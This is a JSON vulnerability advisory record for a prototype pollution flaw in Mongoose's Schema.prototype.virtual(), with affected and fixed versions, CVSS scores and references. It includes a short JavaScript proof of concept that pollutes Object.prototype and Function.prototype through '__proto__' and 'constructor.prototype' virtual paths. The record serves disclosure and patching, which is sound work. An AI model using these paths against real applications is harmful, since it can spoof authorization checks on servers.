{"id":"CVE-2026-125118","aliases":["CVE-2026-125118","GHSA-6972-9mcm-vhwj","BIT-MONGOOSE-2026-125118"],"related":[],"kind":"vulnerability","state":"published","title":"Mongoose: Prototype pollution via Schema.prototype.virtual()","summary":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Prior to 6.13.12, 7.8.13, 8.24.7, and 9.11.4, Schema.prototype.virtual() builds nested virtual paths without applying the special-property validation already used by Schema.path() and Schema.add(). An attacker who can influence virtual field names in dynamic schemas, content-management form builders, or schema-as-code systems can supply path segments such as __proto__, constructor, or prototype, causing the virtual-path reducer to write enumerable properties to Object.prototype or Function.prototype. The resulting prototype pollution can spoof inherited property checks such as authorization flags and can provide function-prototype gadget state to other server-side JavaScript code. This issue is fixed in versions 6.13.12, 7.8.13, 8.24.7, and 9.11.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Prior to 6.13.12, 7.8.13, 8.24.7, and 9.11.4, Schema.prototype.virtual() builds nested virtual paths without applying the special-property validation already used by Schema.path() and Schema.add(). An attacker who can influence virtual field names in dynamic schemas, content-management form builders, or schema-as-code systems can supply path segments such as __proto__, constructor, or prototype, causing the virtual-path reducer to write enumerable properties to Object.prototype or Function.prototype. The resulting prototype pollution can spoof inherited property checks such as authorization flags and can provide function-prototype gadget state to other server-side JavaScript code. This issue is fixed in versions 6.13.12, 7.8.13, 8.24.7, and 9.11.4.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nPrototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.\n\n### Details\n\nIn lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:\n\n```javascript\nvirtuals[name] = parts.reduce(function(mem, part, i) {\nmem[part] || (mem[part] = (i === parts.length - 1)\n? new VirtualType(options, name)\n: {});\nreturn mem[part];\n}, this.tree); // lines 2755-2759\n```\n\nUnlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).\n\nA path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.\n\n### Proof of concept\n\n```javascript\nconst mongoose = require('mongoose');\nconst schema = new mongoose.Schema({});\n\nschema.virtual('__proto__.polluted');\nconsole.log(({}).polluted); // VirtualType instance\nconsole.log(Object.prototype.hasOwnProperty('polluted')); // true\nconsole.log(Object.getOwnPropertyDescriptor(\nObject.prototype, 'polluted').enumerable); // true\n\nschema.virtual('constructor.prototype.opol');\nconsole.log(({}).opol); // true\n\nschema.virtual('hasOwnProperty.__proto__.fpol');\nconsole.log((function(){}).fpol); // Function.prototype polluted\n```\n\n### Impact\n\nAttacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. `({}).isAdmin` checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).","format":"markdown","source":"ghsa"}],"published":"2026-11-09T22:29:55.070Z","modified":"2026-11-27T06:55:44.389Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":6.5,"rating":"MEDIUM"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"MEDIUM"}],"cwes":["CWE-1321"],"affected":[{"ranges":[{"version":"< 6.13.12","status":"affected"},{"version":">= 7.0.0, < 7.8.13","status":"affected"},{"version":">= 8.0.0, < 8.24.7","status":"affected"},{"version":">= 9.0.0, < 9.11.4","status":"affected"}],"vendor":"Automattic","product":"mongoose","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"6.13.12"}],"ecosystem":"npm","package":"mongoose","purl":"pkg:npm/mongoose","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"7.0.0","status":"affected","fixed":"7.8.13"}],"ecosystem":"npm","package":"mongoose","purl":"pkg:npm/mongoose","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"8.0.0","status":"affected","fixed":"8.24.7"}],"ecosystem":"npm","package":"mongoose","purl":"pkg:npm/mongoose","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"9.0.0","status":"affected","fixed":"9.11.4"}],"ecosystem":"npm","package":"mongoose","purl":"pkg:npm/mongoose","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"6.13.12"},{"type":"semver","introduced":"7.0.0","status":"affected","fixed":"7.8.13"},{"type":"semver","introduced":"8.0.0","status":"affected","fixed":"8.24.7"},{"type":"semver","introduced":"9.0.0","status":"affected","fixed":"9.11.4"}],"ecosystem":"Bitnami","package":"mongoose","purl":"pkg:bitnami/mongoose","source":"bitnami"}],"references":[{"url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://github.com/Automattic/mongoose/releases/tag/6.13.12","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://github.com/Automattic/mongoose/releases/tag/7.8.13","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://github.com/Automattic/mongoose/releases/tag/8.24.7","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://github.com/Automattic/mongoose/releases/tag/9.11.4","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125118","tags":["advisory","web"],"sources":["ghsa","bitnami"]},{"url":"https://github.com/Automattic/mongoose","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-11-14T02:27:12.620Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-125118","url":"https://www.cve.org/CVERecord?id=CVE-2026-125118","licence":"CVE Terms of Use","modified":"2026-11-14T02:27:37.624Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6972-9mcm-vhwj","url":"https://github.com/advisories/GHSA-6972-9mcm-vhwj","licence":"CC-BY-4.0","modified":"2026-11-27T06:55:44.389Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-125118","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125118","licence":"Public domain","modified":"2026-11-14T03:17:24.860Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-MONGOOSE-2026-125118","url":"https://osv.dev/vulnerability/BIT-MONGOOSE-2026-125118","licence":"Apache-2.0","modified":"2026-11-27T06:45:33.117Z"}],"updatedAt":"2026-11-27T07:07:26.389Z","epss":{"score":0.00605,"percentile":0.50339,"date":"2026-12-01T12:00:22.000Z"}}